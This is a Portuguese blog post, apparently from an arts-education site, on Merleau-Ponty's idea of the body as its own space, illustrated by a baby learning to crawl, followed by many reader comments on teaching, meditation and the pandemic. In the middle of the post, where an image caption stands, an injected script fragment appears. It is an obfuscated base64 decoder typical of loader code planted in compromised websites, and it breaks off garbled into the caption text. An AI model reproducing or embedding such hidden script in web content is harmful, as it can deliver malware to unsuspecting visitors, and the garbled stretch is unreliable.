Se eu morresse amanhã / Postagem 5 para um Grupo de Amizade

Grupo de Amizade / Postagem 5

 

É que o mundo de fora também tem o seu ‘dentro’, daí a pergunta, daí os equívocos. O mundo de fora também é íntimo. Quem o trata com cerimônia e não o mistura a si mesmo não o vive, e é quem realmente o considera ‘estranho’ e ‘de fora’. A palavra dicotomia é uma das mais secas do dicionário.

 Clarice Lispector

 

A quinta postagem dentro da dinâmica do “grupo de estudos remoto” vai comentar a expressão ou noção fenomenológica “espaço corpo próprio”. O comentário partirá de meus estudos de parte da obra do filósofo francês Maurice Merleau-Ponty. Importante dizer que a fenomenologia é plural, portanto, posso reformular: vou me basear, inicialmente, na fenomenologia tal como pensada, vivida, exercida por Merleau-Ponty. Ao mesmo tempo, faço uma leitura e contribuição pessoais, focada no campo das artes.

Para compreender quão inovador é pensar no corpo como uma espacialidade própria, será interessante começar, mesmo que superficialmente (ou diria Merleau-Ponty, na maneira de sobrevoo), por visitar a medicina e a psicologia tradicionais. A medicina e seus pressupostos sobre o corpo biológico; a psicologia e seus pressupostos sobre o “mundo interno” – estudos sobre a subjetividade humana como marco definitório para aquilo que nos diferencia dos outros mamíferos, por exemplo. Assim, quando usualmente falamos de “corpo”, estamos acostumados a pensar no corpo físico (Grande? Pequeno? Alturas, pesos, medidas, idades, cor de olhos e cabelo, etc) e no corpo como parte da díade corpo-e-mente. Dito assim chega-se na dicotomia, na separação entre corpo / e / mente...

Há médicos que dizem que você não tem nada no exame [do corpo físico], e sugerem que, então, você deve partir para a hipótese mental, psiquiátrica, certo? Há também, hoje, uma forte convicção na postura científica centrada nas funções cerebrais; por vezes, então, antes da ida ao psiquiatra, poderão nos recomendar consultar um neurologista. Mas não digo isso para ir contra a medicina! Estou apenas apontando contextos e situações que passaram, no nosso cotidiano, a serem “naturais”, ou seja: naturalizamos as visões dos estudos médicos, dos estudos psicológicos, dos estudos agora da neurociência, e assim por diante.

A partir de uma sintonia fina com a filosofia, existem outros mundos possíveis, outras possibilidades para pensar-e-viver o corpo (atitude nada nova no oriente ou nas culturas arcaicas, indígenas): um exemplo é a radical não separação entre corpo biológico e corpo psíquico. Haveria então um mix de concepções de corpos, e somos “tudo junto misturado”;  nossas crenças, o modo como fomos trazidos ao mundo, cuidados e criados, também importam demais na depuração da definição, para nós, do que é o corpo.

Na perspectiva da fenomenologia o humano foi nomeado, na tradução para o português, por ser-no-mundo. O uso dos hifens indicaria mais uma importante não separação: aquele tal “mundo interno” da psicologia clássica, no ponto de vista da filosofia fenomenológica, será considerado, simplesmente, uma construção teórica, um “psicologismo”; de modo que o “de dentro” e o “de fora” [ palavras e expressões usadas para o ponto de vista do corpo biológico, físico, e por algumas abordagens da psicologia] não se separam – conectam-se no corpo vivido. Isso conversa com os dizeres de Clarice Lispector no início da postagem...

Existe uma máxima que diz:

Eu estou no mundo tanto quanto o mundo está em mim.

Proposta: tente ir aos pouquinhos mergulhando nessa frase, nesse dizer, nessa propositiva... Para alguns parecerá interessante, simpático, plausível; mas sei que para outros haverá estranhamento, a ponto de desistirem do resto do texto da postagem...! Geralmente os desistentes encontram-se filiados àquela naturalização das definições científicas, médica e psicológica.

Quem não desistiu, seguirá no fluxo deste pensamento que procura esvaziar as noções majoritárias, mas sem jogá-las fora – apenas as coloca entre parênteses, tirando-as do foco, retirando-as do centro das atenções, para procurar pensar diferente.

Esse pensar diferente dá grande importância às noções de espaço. O ser-no-mundo tem desdobramentos, noções complementares, existenciais – um deles: a espacialidade. As relações eu-espaço.

esses já <script type=

function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandam: eu e você" width="300" height="225" /> esses já andam: eu e você

Pense no bebê que quer engatinhar, mas ainda não consegue... Ele treina, treina, treina, e, se deixado à vontade em sua pesquisa, um dia sai engatinhando pela casa toda! As mães sabem bem desse momento: uma primeira independência, que vai exaurir os adultos cuidadores, a ponto de criarem recursos como o “quadrado” ou o “chiqueirinho” (se dizia... parece que agora é “politicamente incorreto”): uma moldura ou receptáculo para aquela nova corporalidade – uma pessoa de seus nove ou onze meses de idade, que descobriu como se locomover sozinho. (Realmente uma façanha!)

Assim, a partir dessa imagem simples e cotidiana – um bebê aprendeu a engatinhar, e pratica essa ação diariamente, com vigor! – digo a vocês que ele aprendeu a usar o espaço do mundo de outra maneira: uma enorme aquisição –

Júbilo! Prazer! Descoberta! Pesquisa! 

Seu corpo se move de lá para cá, “porque ele quer” – e não porque o adulto o levou de cá pra lá.

Assim, convido ao leitor a perceber o corpo do bebê (e o seu, e o de todos) como um “espaço corpo próprio”; uma espacialidade – massa e peso, carne, sangue, esqueleto humanos, deslocável pelos espaços do mundo compartilhado.

Fez sentido?

Com rigor e com vigor, chegamos ao cerne da postagem: pensarmos em quem somos como um espaço corpo próprio. Desse modo não somos apenas um “quem”: somos também um “onde”.

Escreveu Merleau-Ponty:

 

(...) Visível e móvel, meu corpo está no número das coisas: é uma delas; é captado na contextura do mundo, e sua coesão é a de uma coisa. Mas já que vê e se move, ele mantém as coisas em um círculo à volta de si; elas são um anexo ou um prolongamento dele mesmo, estão inscrustradas na sua carne, fazem parte da sua definição plena, e o mundo é feito do próprio estofo do corpo. (1980, pg. 89)

(no volume da coleção Os Pensadores: Merleau-Ponty / o texto é “O olho e o espírito”)

 

Fui aderindo a esse jeito de ver as pessoas e o mundo de tal forma que, mais ou menos em 2011, tive um cercadinho vazioinsight, uma ideia original: chamar as artes por âmbitos – lugares para ir; visitar; habitar; mapear; decorar; dispor; esvaziar; encher; mudar; transpor... morar.

Minha proposta seria desnaturalizar a visão majoritária no Brasil, que define arte como linguagem. Des-naturalizar é flexibilizar, pensar por pontos de vista, e assim, pluralizar.

Fará diferença conceber arte por âmbitos artístico-existenciais no campo do ensino de arte, pois não precisarei de “programas de alfabetização” nas linguagens, mas antes, vou propor a todos

ocupações.

Palavra polêmica, por vezes, mas muito muito contemporânea e potente.

Vem comigo?

A porta está aberta:

solução original

22 comments for “Se eu morresse amanhã / Postagem 5 para um Grupo de Amizade

  1. Thaise
    7 de maio de 2020 at 15:09

    Olá, Marina!
    Olá, Grupo De Amigos!

    Sabem, esses dias eu vi uma enquete num Story do Instagram – era uma daquelas caixinhas que a pessoa cola no Story com uma questão e seus seguidores respondem. A pergunta era: “qual o maior benefício que a formação em arte cênicas trouxe pra você?” (Era um perfil voltado pra esse público).

    Após ler esse texto aqui, acho que eu responderia que uma grandessíssima contribuição que a minha formação em Artes Cênicas me possibilitou foi a de entender/vivenciar o meu corpo como um espaço corpo próprio.

    Mesmo que essa noção não tenha me acompanhado tão de pertonos últimos anos, eu vejo que ela também acabou se refletindo na minha prática docente (talvez eu não seja muito modesta ao falar assim, mas me permitirei). Isso porque, trabalhando com a disciplina de Interpretação Teatral no curso de Licenciatura em Teatro, mesmo tendo sua ementa a ênfase na leitura e interpretação de textos – e, portanto, uma orientação que poderia ser compreendida como menos corporal – eu jamais deixei de me esforçar para trabalhar isso em conjunto – em articulação – com a criação de um ambiente de descoberta, por parte do aluno, do seu/nosso espaço corpo próprio.

    Nos últimos semestres, isso tem se manifestado bastante como a inclusão, no início da aula, de alguns exercícios que partem de princípios da meditação mindfulness, em aplicações com movimentos. Eu tenho a sensação de que os estudantes, principalmente os mais jovens, têm uma distância muito grande do corpo… E que não estão fora, nem dentro, mas também não estão integrados: estão em qualquer ponto, e em muitos deles, e não o sabem.

    A minha sensação, quando eu passei a praticar meditação com mais consistência (observem que já não é a primeira vez que trago este tema para os meus comentários aqui, e eu nem sou uma pessoa que fica falando disso o tempo todo) – pois, a minha impressão teve muito a ver com o engatinhar: minha atenção deixou de ser onde o “adulto” (ou “qualquer coisa”) a levava, e passou a ir mais para onde eu queria ou permitia – júbilo!

    Eu sinto carinho (e é esse o termo) pela ideia de sermos um onde, de a arte ser um onde. Uma questão que eu me coloco é sobre como não nos tornarmos um onde muito fixo, muito terrenão, sabe? Um onde que seja um território com cercas e uma bandeira fincada lá em cima. Será que pode um espaço corpo próprio ser um território? Ou será que um corpo que é território seria um “quem”?

    O quem é uma linguagem?

    Uma linguagem é uma cerca?
    Ou seria uma membrana?

    Caberia ~ocupar a linguagem?

    ***Oba! Consegui escrever um post sem citar nenhum autor ou livro, VIVA! É que agora puder escrever com mais calma, então vou incorporando as ideias a mim e ao meu falar.

    #TamoJunto
    #EspaçoCorpoPróprio

    • Charles Valadares
      8 de maio de 2020 at 19:48

      ei, Thaise
      não evite citar livros não. rs! tem gostado das suas dicas e penso que isso traz também um caráter maior de “grupo de estudos”. Rs!
      amo dicas !
      sobre a meditação ser lembrada ao falar do “ espaço corpo próprio” , penso que tem tudo a ver. eu ainda não tive tempo ( ou talvez coragem) de mergulhar com mais profundidade em práticas meditativas, mas do pouco que já vivi e ouço também, compreendo que há uma percepção ampliada da noção de corpo-mente.

    • agachamento
      8 de maio de 2020 at 20:36

      ah Thaise, to com o Charles: traga sim seus livros!! rs
      em breve vou falar sobre “território” e “habitação” (nas postagens das segundas-feiras)
      e eu também to gostando muito desse “onde” no “quem”
      mas… por mim, “linguagem” fica um pouquinho de fora, ali, esperando num canto, numa beirada, num entrelugar, na estante, ao chão, na biblioteca: algo que já foi exaustivamente discutido, né?
      mas gosto da expresão “linguisticidade”– relação eu-língua — e da noção “fala falante” (algo que contrapõe-se à “fala falada”, dizer objetivo, direto, seco)
      que bom que estamos aqui, e agora
      bjs a todos
      Marina

    • Mayron Engel
      15 de maio de 2020 at 11:17

      Que lindo!!

  2. Charles Valadares
    8 de maio de 2020 at 19:49

    Ei, pessoal!
    Lembrei muito ao ler o texto de um podcast recente que eu ouvi com o artista “Emicida”.
    Ele é um rapper bem interessante e criou esse podcast a partir do seu último álbum chamado “AmaRelo”. Fez uma espécie de “desmontagem” de sua criação ( foi descamando o processo criativo, revelando as escolhas e motivações filosóficas e políticas, apresentado suas referências criativas).
    Bom, em um determinado momento do podcast ele diz algo que achei lindo. Ao citar um disco que foi fundamental para sua criação ele disse que “morou na obra”, por cerca de um ano, de forma intensa. Fiquei viajando nesse dizer dele: habitar um disco, uma obra, um livro, um poema, uma canção, uma imagem e por aí vai. Que bonito e forte é isso, poder morar em distintos lugares, habitar imaginativamente outros mundos e dividir parte do seu com as pessoas. Vi em seu dizer a noção encarnada do “espaço corpo próprio”. Eu segui ao longo dos três episódios habitando também o álbum “Amarelo”. Ainda tô nesse processo, escolhendo alguns cômodos específicos nessa morada, dia desses morei no disco “Coisas”, de Moacir Santos. E por lá dormi e tive sonhos.

    • agachamento
      8 de maio de 2020 at 22:44

      Charles, e todos
      Por aqui tenho habitado algumas séries sul-coreanas no Netflix…!
      Um tipo de interioridade muito particular; um tipo de direção / atuação / roteiros…!
      Retratos de uma cultura
      Outros mundos possíveis
      E produção “comercial” de qualidade
      enfim
      é isso
      seguimos!
      Marina

  3. Thaíse
    9 de maio de 2020 at 16:10

    Charles, obrigada pela indicação! Eu certamente ouvirei.
    Tenho sido uma habitante contumaz de podcasts.
    E, por falar em podcasts, vocês já viram o desenho Midnight Gospel, que está “passando” na Netflix? Ele é dos mesmos autores do desenho pós-dramático “Adventure Time”. Embora seja uma animação, os episódios acontecem baseados no roteiro de um podcast, e falam muito sobre meditação (ao menos nos primeiros episódios)!
    Enfim, não consegui tecer uma relação do Midnight Gospel com espaço corpo próprio, propriamente, mas fica a dica de desenho psicodélico.

  4. Luciana Cezário
    11 de maio de 2020 at 12:13

    Primeiro, Caiero:

    Sou um guardador de rebanhos.
    O rebanho é os meus pensamentos
    E os meus pensamentos são todos sensações.
    Penso com os olhos e com os ouvidos
    E com as mãos e os pés
    E com o nariz e a boca.

    Pensar uma flor é vê-la e cheirá-la
    E comer um fruto é saber-lhe o sentido.

    Por isso quando num dia de calor
    Me sinto triste de gozá-lo tanto,
    E me deito ao comprido na erva,
    E fecho os olhos quentes,
    Sinto todo o meu corpo deitado na realidade,
    Sei a verdade e sou feliz.

    (…)

    Acho de uma beleza revolucionária e deliciosa que possamos Okupar!Que delícia essa morada!Quanta potência sinto aí, aqui.

    Fiquei pensando em ressonâncias, interlocuções com as okupas: ocupações coletivas de caráter transgressor, sem consentimento dos proprietários dos terrenos. Fiquei pensando nos “donos do mundo” (me lembrei de um doc espanhol que se chama “Los amos del mundo”), no capital, no quanto nosso corpo (ops!), digo no quanto nós, somos desapropriados de nós mesmos, num mundo que dificulta ou impede que habitemos nosso espaço-corpo-próprio.

    Segundo a Wikipédia: “O termo [okupa] faz referência especificamente ao ato de ocupar um espaço ou construção, abandonada ou desabitada, sem permissão de seus proprietários legais, não para transformá-lo numa propriedade privada, a ser alugada ou vendida, mas com o objetivo de criar uma esfera de sociabilidade e vivência libertária”. 

    Nesse caso OKUPAMOS, OKUPEMOS!

  5. RODRIGO AUGUSTO DE SOUZA ANTERO
    11 de maio de 2020 at 20:31

    Olá Marina e pessoal do grupo de amigos (as),

    Nossa esses posts me fazem pensar em tantas coisas, e abre tantas portas possíveis para pensar em muitas outras portas possíveis de serem abertas também. Que delícia!

    Uma coisa que me passa pela memória aqui agora é um questionamento que tenho feito nos últimos anos de uma fala muito comum em várias aulas que já fiz em artes da cena em geral por muitos professores (as): “Caminhando pelo espaço…”. Há algum tempo, venho questionando esses dizeres, pois em certa medida, percebo que reproduzimos alguns dizeres que foram passados por muitos(as) mestres (as). Neste dizer, por exemplo, sempre penso: – mas afinal, nós também somos espaço, então, significa que vamos caminhar sobre nós também? Em uma aula de Contato e Improvisação, isso faz bastante sentido, porém se tratando de outras técnicas e/ou métodos, nem tanto.

    Percebo, que essa reprodução de falas que já escutamos de outros professores (as) podem ser ações puramente mecânicas, como várias outras que desenvolvemos na vida. Pois, já li em algum lugar, que o ser humano tem alta capacidade de adaptabilidade, e com essa, agimos muitas vezes acriticamente, sem questionar ou refletir sobre algo e simplesmente aceitamos, ou nos condicionamos.

    Em minhas aulas de dança contemporânea tento sempre trazer essa reflexão, sobre o “caminhar pelo espaço”, para perceber, como isso, se reverbera nos (as) estudantes, e modifica, em certa medida, algumas lógicas que são tão usuais. Lembrando aqui de Eleonora Fabião, acho que isso é uma forma de tentar de alguma forma provocar o: “desabituar, des-mecanizar, escovar a contra- pêlo.” (FABIÃO, 2008, p. 237). Acredito que essa seja uma das minhas funções também enquanto artista e professor, de provocar e desestabilizar os padrões que me pareçam muito estáveis no mundo. E também, por acreditar que essa relação professor-estudantes deve ser uma construção de trocas entre saberes.
    Valorizo muito todos (as) mestres e mestras que me formaram, e sempre digo que carrego comigo, em meu corpo memória, uma bagagem das experiências/saberes que tive com os/as mesmos (as). Os mestres e mestras, sejam de uma cultura popular ou acadêmica nos influenciam muito, e observo que vamos ao longo da vida optando por essas experiências/referências trazidas por eles/elas para nos constituir no/com o mundo.

    Porém, acho pertinente mencionar o valor da autoralidade mediante as escolhas que fazemos na relação no/com o mundo: O que fazer e como fazer com tudo isso? O que seria a autoralidade nesse mundo contemporâneo?

    Thaise também confesso que tenho tentado fugir aqui no blog de falar somente através de outros autores, pois acho que a Academia nos deixa muito viciados (as) nesse modo de fazer. E a quarentena tem me possibilitado (as vezes), fazer esse exercício de pensar e refletir as coisas no diálogo comigo. Pois, as vezes me percebo apenas reproduzindo um mesmo discurso, que apenas está sendo veiculado em larga escala. Me questiono: o quê de mim se relaciona com isso e se se relaciona. Isso, anda me cutucando aqui, pois tenho lido um pouco de Foucault, por conta de um outro grupo de amigos (as) como este aqui. E dessa forma, ele me faz pensar sobre as relações de poder que estão por trás dessas “arqueologias do saber”. Então, penso, que é importante demais isso que você fala da incorporação das ideias em você. Mas, e também concordando com Charles, uma coisa não precisa excluir a outra.

    Algo que tento praticar em sala de aula e também em performances são trocas possíveis entre mim e os/as estudantes, público e provocar a relação entre eles e elas. Pois, também, já li em algum lugar, e de acordo com minha experiência performando e, sobretudo, em sala de aula, que o apreender se dá em experiência a partir da relação: “ser-no-mundo” de Merleau-Ponty. Dessa maneira, posso dizer que o “caminhar no espaço”, faz bastante sentido para mim, pois caminhamos, e experimentamos “o espaço” que também somos nós, também são os/as outro(as) o tempo todo.

    Dudude (uma de minhas mestras) sempre usa uma expressão em sala de aula que me agrada muito: – ela pede para que façamos relações de dança, movimento com o “espaço animado” (que somos nós as pessoas) e com o espaço “inanimado” (as coisas, objetos). E deste modo: – além de um “quem”, somos também um “onde” faz toda a diferença, pois “caminhamos” e dançamos no espaço através de uma outra perspectiva. Me lembro aqui também, de um livro que li a muito tempo atrás, na Graduação em Dança: “O corpo tem suas razões: antiginástica e consciência de si” de Therese Bertherat (fica aí uma super dica de leitura e, para quem já leu, releitura). Neste livro, se me lembro bem (rsrsrsrs), a autora discute uma noção de corpo enquanto casa, no sentido do habitar essa morada que, por vezes, esquecemos, ou des-moramos (acho que essa expressão não existe, e confesso não querer procurar no Google agora, se existe ou não, pois estou trabalhando meu des-mecanizar, inibir algumas ações imediatas).

    Agora em quarentena, algo tem se mostrado como grande desafio, com as aulas remotas, no Moodle Cefart Virtual para mim e outros (as) professores (as). Pois, nas reuniões de professores (as) das escolas que trabalho estamos discutindo muito como fazer para não perdermos o “senso de coletividade” que a arte tanto trabalha nas experiências presenciais. No Cefart, um desafio que se apresenta, especificamente, é como fazer os/as estudantes conversarem e trocarem saberes entre eles/elas. Pois, o que temos vivenciado é uma dificuldade ainda de diálogo deles(as) conosco, por toda a problemática do acesso envolvida, porém, quando isso acontece, estabelece apenas uma relação de ensino-aprendizagem docente-estudante. Ainda não conseguimos criar estratégias para estimular uma relação ensino-aprendizagem estudante–estudante, pois mesmos os grupos de Whatsapp, estão apáticos no que tange a discussões coletivas sobre determinados temas.

    Algo que me provoca e preocupa atualmente, pensando aqui a questão da memória corporal é exatamente o “já li em algum lugar”, pois somos constituídos de tantas referências que muitas vezes não sabemos quais são? de quem são? De onde são?
    O mundo contemporâneo tem nos exigido tanto ser “sujeitos da informação” onde a possibilidade da “experiência” é cada vez mais rara. agora de Jorge Larrosa Bondìa: “Notas sobre a experiência e o saber da experiência (outra boa dica de leitura)

    “A experiência é o que nos passa, o que nos acontece, o que nos toca. Não o que se passa, não o que acontece, ou o que toca. A cada dia se passam muitas coisas, porém, ao mesmo tempo, quase nada nos acontece. Dir-se-ia que tudo o que se passa está organizado para que nada nos aconteça. Walter Benjamin, em um texto célebre, já observava a pobreza de experiências que caracteriza o nosso mundo. Nunca se passaram tantas coisas, mas a experiência é cada vez mais rara.” (Bondìa, 2002, p. 21)

    E em tempos de corona vírus, estamos nos tornando sujeitos de um compartilhamento da informação em tempo real. Por exemplo, o compartilhamento e a circulação de notícias e informações sobre o vírus e a doença acontecendo em um tempo real, simultaneamente ao acontecimento. Me questiono sobre o pertencimento nessa relação “ser-no-mundo” na contemporaneidade. Em uma época, onde o Google está sendo um gerenciador de memórias e da maneira que armazenamos memórias.

    • agachamento
      12 de maio de 2020 at 12:56

      oi Rodrigo, olá a todos
      Rodrigo, que bom que nosso “grupo de estudos remoto” ta te mobilizando!
      esse comando ou a instrução para “Caminhe pelo espaço” é simplesmente a cara da minha geraçoão!! kkkkk
      por isso ainda amo ela, e para mim faz sentido — no entanto faz sentido com um monte de subtextos, sobre a espacialidade, sobre a presença [em cena], sobre não estar só — nem na sala, nem no mundo — sobre caminhar como uma grande aquisição humana, e assim por diante
      Ah, na postagem n.6, eu critiquei o uso que se tem feito desse texto do Larossa, rs, mas não quer dizer que eu não goste do texto
      abraços a todos
      da Marina

  6. RODRIGO AUGUSTO DE SOUZA ANTERO
    12 de maio de 2020 at 21:49

    Ei Marina,

    Fiz essa crítica ao caminhar pelo espaço, mas também faz bastante sentido para mim “caminhar pelo espaço”, mas trouxe esse exemplo para discutir mesmo uma apropriação desenfreada que percebo das coisas no mundo contemporâneo e da falta de pertencimento.
    Acabei de ganhar um livro aqui que estava querendo muito ler por ter tido boas recomendações que trás o caminhar como poética e eu diria enquanto performance também. Ele se chama: “Walkscapes – o caminhar como prática estética de Francisco Careri.” Estou muito no início da leitura, mas fica aí a dica.
    Vi seu post 6, rsrsrsrs, estou fazendo a leitura no início da semana como algo que me atravessa e vou matutando aqui ao longo da semana. Respondo no final de semana ou segunda, e depois leio o próximo. Então, acabei de responder essa semana e fui ler logo em seguida o post 6, fiquei arrasado rsrsrsrsrs. Brincadeira…rsrsrs, esse texto e o livro “Tremores” dele veio em um momento que de fato, foi um divisor de águas para minha “experiência”, rsrsrsrs. E no Arena da Cultura onde trabalho também ele desenvolveu um workshop, que não fiz, pois foi em um momento em que eu não estava lá trabalhando, mas foi uma “experiência” bem significativa para os/as professores(as) da escola e que reverbera, na minha opinião, até hoje na metodologia.
    Contudo, li sua crítica mais pela ação da reprodutibilidade da referência pelas pessoas sem uma apropriação, de fato, do que ele traz. E acho, que em certa medida, isso conversa com a crítica que quis trazer sobre essa ideia de pertencimento. Que inclusive tem me inculcado aqui.

    • agachamento
      12 de maio de 2020 at 23:20

      sim sim sim
      é isso mesmo, Rodrigo!
      Amo esse livro “Walkscapes”… depois foi publicado um outro dele, tão ótimo quanto — uma espécie de “continuação”, se chama Caminhar e parar. Careri criou um modo de dar aula caminhando! Muito muito legal.
      Infelizmente esse pensamento também já anda meio pasteurizado por aí, com oficinas pagas dessa “metodologia”…!
      Quem sabe não ganharemos uma certa interioridade e menos impulsos de consumo com o cofinamento, e com tudo que ainda está por vir.
      Abraços
      da Marina

      • Luciana Cezário
        13 de maio de 2020 at 12:37

        ai, quero ler Careri!

  7. RODRIGO AUGUSTO DE SOUZA ANTERO
    12 de maio de 2020 at 22:03

    “Antes de erguer o menir – em egípcio benben, “a primeira pedra que emergiu do caos”-, o homem possuía uma fórmula simbólica com a qual transformar a paisagem. Essa forma era o caminhar, uma ação aprendida com fadiga nos primeiros meses da vida e que depois deixa de ser uma ação consciente para tornar-se natural, automática. Foi caminhando que o homem começou a construir a paisagem natural que o circundava. Foi caminhando que, no último século, se formaram algumas categorias com as quais interpretar as paisagens urbanas que nos circundam.” (Francesco Careri)

  8. Mayron Engel
    15 de maio de 2020 at 11:33

    Como o Charles, também estou fazendo residência nesse mundo AmaRelo, visitei os discos, até a questão do termo “Brasileiro” por ele discutido e trocado por “Brasiliano”, distanciando da concepção de “Brasileiro” como função de consumo, pois “Brasileiro” eram aqueles que extraiam o Pau-Brasil de nossas terras, e “Brasiliano” a pessoa natural do Brasil, fiquei como Emicida diz morando nessa concepção.

    Mas o que me chamou mais atenção e comungo desse sentimento com esse grupo é a capacidade que desenvolvemos quando abrimos o “espaço-corpo-próprio” para a ocupação.

    Fico aqui fugindo do cotidiano de aulas on-line para morar nessas postagens-mundos, viajando em como são essas pessoas que aqui me levam para lugares tão interessantes.

    Obrigado Marina por abrir a porta para esse mundo-possível.

    • agachamento
      15 de maio de 2020 at 15:11

      Oi Mayron
      Sou eu que agradeço :)
      Apenas um porém… sobre o Agachamento como rota de fuga… (Alice saberá do que estou falando) Tenho um desejo grande de que o Agachamento possa veicular rotas de trânsito, mais do que de fuga rs: não avenidas principais, mas ruas boas de morar e de passear, sem que ninguém ache que estamos matando o tempo ou pior ainda perdendo tempo com criancices
      Bora ser feliz gente! E obter meios, na mesma sintonia, de pagar nossas contas, é claro
      com carinho
      da Marina

      • Alice Vieira
        16 de maio de 2020 at 13:29

        Sei demais.. ufa! Passeando descubro mais caminhos e aprendo melhor. Movida pelo desejo e não mais pela angústia da urgência. Aqui é um lugar feliz! Obrigada, querida Marina!

        • agachamento
          16 de maio de 2020 at 14:27

          Ah, te vi na invisibilidade, e vc veio
          bjs
          com carinho
          da Marina

  9. Raysner de Paula
    22 de maio de 2020 at 19:27

    Ei, Marina
    Ei, pessoal do grupo de estudos!
    Cheguei um pouco depois do início de tudo, mas chego com grande curiosidade e desejo de trocar com vocês. Eu sou o Raysner: me graduei na Licenciatura em Teatro, na UFMG, fui aluno orientado pela Marina durante meu trabalho de conclusão de curso e, depois da faculdade, mantivemos nossos elos afetivos e nossa vontade de construirmos espaços e ações onde poderíamos continuar trocando, inventando e materializando ideias de um mundo melhor, mais criativo e feliz.
    Resolvi “iniciar” minha participação no grupo escolhendo ao acaso uma das sete postagens já realizadas e fiquei de cara com a coincidência que experimentei ao longo da leitura… Nessa vida, tenho o privilégio de ter duas mães. No início dessa semana, uma delas me aconselhou a estar mais próximo de mim, do mundo que sou e o que se passa nessa porção de universo já que “o mundo lá fora” está cada vez mais angustiante.
    Pois bem! Li aqui um reforço desse convite.
    Enquanto habitava essas ideias semeadas pela Marina (e pelos colegas nos comentários) me lembrei uma prática simples que desenvolvi com as crianças da escola onde leciono. Pedi a elas que fizessem, no chão do pátio (saudades deitar no chão do pátio!), o famigerado contorno do corpo de outro colega. Usamos giz de quadro negro para fazer o traçado. Enquanto as crianças realizavam essa ação, dispus o acervo de sucatas (composto de tampinhas de garrafa PET e copos de iogurte) e pedi à turma para imaginarem o seguinte: o contorno deles deixado no chão era agora um país.
    O país-eu.
    O que se passava dentro daquela geografia? Do que ela era composta?
    A sucata era, então, usada para criar esses acontecimentos, cenários e habitantes do país-eu.
    Ao longo da feitura, propus a eles que imaginassem também como cada país se relacionava com o entorno e com os vizinhos.
    Um dos alunos inventou uma guerra na região da barriga e me disse algo como “não é aqui onde faz uma barulhada quando a gente está com fome?”
    Enfim… Enxerguei nessa memória U=uma proposta-brincante com a ideia de se habitar. Criar ocupações dentro de um resquício-de-eu contornado no chão.

    ***

    • agachamento
      22 de maio de 2020 at 20:17

      Oi Raysner — que bom que veio!!
      Fiz tantas vezes esse trabalho com o contorno do corpo!!
      Fazíamos com papel craft, para depois recortar e ter um “outro eu” rs — colocando uma vareta atrás para segurar, e fazer um “teatro de silhuetas”… que sucesso!
      Sim, vamos ver quando é que se poderá novamente deitar no chão com prazer e expansividade…
      bjs
      da Marina

  10. Alice Vieira
    25 de maio de 2020 at 13:45

    Recebi, por coincidência, um vídeo do meu sobrinho ainda tentando engatinhar, então eu juntei com um vídeo que eu tenho dele já conseguindo andar numa bicicletinha e fiquei pensando que habitar o espaço-corpo-próprio tem a ver com uma imensa saúde, liberdade e outras palavras boas como generosidade, cuidado e amor.

    Mas hoje o mundo que está em mim, também é o mundo onde o medo de uma doença é generalizado e os corpos são “coisificados”, enterrados em valas comuns, sem direito a despedidas. Aí pensei em como fica a ausência do corpo do outro, como fica o espaço sem o corpo, mas com seu “estofo”. Mesmo não sendo mais corpos físicos, os que morreram não desapareceram simplesmente em suas espacialidades para quem amou e conviveu com eles. E nós, diferentes dos bebês que começam a engatinhar e com isso ampliam suas espacialidades, estamos “recuando”, voltando a ocupar um espaço menor no mundo nessa quarentena.

    Enfim, tenho pensado na morte, mas também na vida. Outro dia sonhei que conversava com minha bisavó que morreu muito velhinha e depois, no mesmo sonho, eu e um grupo de desconhecidos festejávamos o nascimento de um bebê, dançando enquanto ele passava de colo em colo.

    Ah, tive que ir ao banco e uma pessoa com quem interagi sorriu para mim, mas por causa da máscara, só pude saber que ela sorria através dos olhos. Parece besta, mas só lembrei disso para dizer que, apesar do medo da morte, há muita beleza no mundo.

    • agachamento
      25 de maio de 2020 at 14:00

      Oi Alice, olá a todos
      Sim, muitos retrocessos… até mesmo o sorriso “por trás” da máscara… é bonito e nostálgico ao mesmo tempo… me lembrou quando eu ia, pequena, na missa, me preparando para a Primeira comunhão, e via umas mulheres misteriosas com seus véus… Isso na tão liberta década de 1970! “Help, I need someboby…” rs — dizia minha mãe que eu aprendi a dançar com a música Twist and Shout
      seria tuitar e gritar??
      viva a poesia viva
      bjs
      com carinho e saudade
      da Marina

Deixe uma resposta

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *


oito − 6 =